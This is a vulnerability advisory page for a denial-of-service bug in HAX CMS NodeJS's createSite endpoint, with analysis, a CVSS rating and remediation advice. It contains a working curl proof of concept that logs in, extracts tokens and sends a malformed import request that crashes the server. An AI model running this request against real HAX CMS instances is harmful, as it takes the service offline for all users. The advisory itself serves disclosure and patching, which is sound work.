Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.
Details
The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.
The crash occurs because createSite passes a file object without originalname, while HAXCMSFile.save() immediately dereferences tmpFile.originalname.replace(...).
As a result:
- the request reaches privileged code inside
createSite - the server hits the remote file handling path
- the process crashes before
downloadAndSaveFile()performs the outbound request - no imported file is written into the site directory
Affected Resources
- src/routes/createSite.js:176
- src/lib/HAXCMSFile.js:25
- system/api/createSite
PoC
- Obtain a JWT by logging in with valid credentials.
JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)- Extract the required tokens from the
connectionSettingsendpoint.
SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)- Send the malformed request to crash the server.
curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
-H 'Content-Type: application/json' \
-d "{
\"token\": \"$ROOT_TOKEN\",
\"site\": { \"name\": \"dos-poc\" },
\"theme\": {},
\"build\": {
\"structure\": \"import\",
\"type\": \"import\",
\"items\": [],
\"files\": {
\"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\"
}
}
}"<img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" />
The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.
<img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" />
Impact
An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
AnalysisAI
Denial of service in HAX CMS NodeJS (npm/@haxtheweb/haxcms-nodejs) allows any authenticated user to crash the entire Node.js server process with a single crafted HTTP POST to the createSite endpoint. The crash stems from a null pointer dereference (CWE-476) in HAXCMSFile.save(), where tmpFile.originalname is undefined, causing an unhandled TypeError that terminates the process immediately. Because HAX CMS permits open account self-registration, an attacker can create their own account and trigger the crash without needing to compromise existing credentials, making the effective barrier to exploitation very low despite the PR:L CVSS designation. No public exploit identified at time of analysis beyond the PoC included in the GitHub security advisory.
Technical ContextAI
HAX CMS NodeJS is a Node.js-based CMS published as the npm package @haxtheweb/haxcms-nodejs. The affected code path involves the site creation route (src/routes/createSite.js:176) and the file abstraction library (src/lib/HAXCMSFile.js:25). When a site creation request uses the 'import' build structure, createSite constructs a file object and passes it to HAXCMSFile.save(). However, this internally constructed object lacks the originalname property that save() immediately dereferences via tmpFile.originalname.replace(...). In Node.js, accessing a property on undefined throws a synchronous TypeError. Because this exception is unhandled at the process level, the entire Node.js server process terminates. The CWE-476 (NULL Pointer Dereference) classification maps precisely: the code assumes a required property exists on an object without a null/undefined guard, a common pattern in dynamically typed JavaScript. The CPE identifier is pkg:npm/@haxtheweb_haxcms-nodejs for versions prior to 26.0.0.
RemediationAI
Upgrade @haxtheweb/haxcms-nodejs to version 26.0.0 or later; this is the vendor-released patch confirmed in GitHub Advisory GHSA-9r33-xhw8-4qqp (https://github.com/haxtheweb/issues/security/advisories/GHSA-9r33-xhw8-4qqp). If immediate upgrade is not feasible, disable self-registration to force PR:L to mean a genuinely controlled credential set - this eliminates the zero-friction attack path where any outsider can self-provision access; note this may disrupt legitimate onboarding workflows. As an additional compensating control, place the createSite API endpoint (system/api/createSite) behind a WAF or reverse proxy with rate limiting or IP allowlisting, which reduces availability impact even if an authenticated user triggers the bug; this does not eliminate the vulnerability but limits blast radius. Process managers such as PM2 configured with auto-restart can reduce downtime per crash event, though this introduces a brief service interruption window and does not prevent repeated crash loops by a persistent attacker.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-476 – NULL Pointer Dereference
View allSame technique Null Pointer Dereference
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-34897
GHSA-9r33-xhw8-4qqp